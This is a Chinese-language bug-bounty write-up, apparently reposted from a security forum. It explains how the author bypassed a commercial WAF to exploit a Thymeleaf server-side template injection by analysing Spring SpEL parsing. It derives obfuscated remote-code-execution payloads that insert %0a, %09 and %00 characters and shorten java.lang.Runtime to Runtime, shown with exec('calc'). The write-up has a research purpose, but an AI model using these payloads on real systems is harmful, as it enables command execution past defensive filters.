Thymeleaf SSTI
注入漏洞,但网上流传的payload
被玄某盾拦截,漏洞无法利用,于是跟了下Thymeleaf SSTI
触发的源码,Thymeleaf SSTI
底层触发SpEL
注入,分析SpEL
的解析与执行过程。最终成功绕过玄某盾,并获取SRC奖金。fragment=${T%20(java.lang.Runtime).getRuntime().exec('command')}
或者fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
都会被玄某盾拦截,由于站点在维护中,因此只能使用下图来说明....fragment=${}
:检测了${}
,但使用__${}__::.x
,玄某盾不拦截fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
T%20(java.lang.Runtime).getRuntime().exec('calc')
如何绕过玄某盾,而这段内容又是SpEL
表达式。因此本文的重点在于SpEL
表达式的绕过。Thymeleaf SSTI
不是很懂,可以先去了解下,传送门:fragment=__${T%20(java.lang.Runtime).getRuntime().exec('calc')}__::.x
payload
已经是对 Thymeleaf 3.0.12
的绕过,Thymeleaf SSTI
漏洞的底层实际出发的是SpEL表达式注入漏洞,在原始payload
中的T%20(java.lang.Runtime).getRuntime().exec('calc')
便是SpEL
表达式org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#getExpression
org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator#evaluate
,执行如下getValue
方法SpEL-API
调用,来执行SpEL
表达式。我的绕过方式便是在SpEL
表达式解析及执行过程中发现的,具体如下。org.springframework.expression.spel.standard.InternalSpelExpressionParser#doParseExpression
方法。org.springframework.expression.spel.standard.Tokenizer#Tokenizer
org.springframework.expression.spel.standard.Tokenizer#process
方法a-z
或者A-Z
,则执行lexIdentifier
方法,在lexIdentifier
方法中,继续遍历表达式内容,直到遍历到的字符不是a-z A-Z、0-9、_、$
结束此次遍历,并将此次遍历的所有字符封装在Token
对象中,最后存储List<Token> tokens
中。否则走else
分支else
分支中,若遇到\u0000
、\r
、\n
、\t
、`不做任何处理,直接跳出
switch`语句,并进入下一个字符的判断\u0000
、\r
、\n
、\t
、` 5个字符的
url`编码如下T%20(java.lang.Runtime).getRuntime().exec('calc')
可以修改为T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
仍然生效payload
中SpEL
表达式以T
开头,T
对应的类为org.springframework.expression.spel.ast.TypeReference
org.springframework.expression.spel.ast.TypeReference#getValueInternal
方法,根据字符串typeName
获取对应的Class
对象实例org.springframework.expression.spel.ExpressionState#findType
,发现通过SpEL
表达式上下文对象去寻找typeName
对应的Class
对象实例Thymeleaf
中,此时默认的SpEL
上下文对象为org.thymeleaf.spring5.expression.ThymeleafEvaluationContext
对象实例,可看到继承org.springframework.expression.spel.support.StandardEvaluationContext
对象,而StandardEvaluationContext
支持type references
,具体可看官方文档:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions-evaluation-contextorg.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator
,发现默认使用StandardTypeLocator
org.springframework.expression.spel.support.StandardTypeLocator#StandardTypeLocator()
构造方法org.springframework.expression.spel.support.StandardTypeLocator#registerImport
java.lang
被添加到knownPackagePrefixes
集合中StandardTypeLocator
对象后,会调用org.springframework.expression.spel.support.StandardTypeLocator#findType
方法,可以发现此方法在异常出现时进行了一次补救:当通过typeName
没有找到对应的Class
对象时,则拼接前缀java.lang
后继续获取对应的Class
对象。T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
可以修改为T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
仍然会生效。T%20(java.lang.Runtime).getRuntime().exec('calc')
T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')
Thymeleaf SSTI
的payload如下:__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
Thymeleaf SSTI
注入绕过玄某盾waf,其实也可以说是SpEL
注入绕过玄某盾waf
,至于其他waf
产品,均未测试,有条件的同志们可以去测试一下~。来源:先知(https://xz.aliyun.com/t/11509#toc-0)
如有侵权,请联系删除
推荐阅读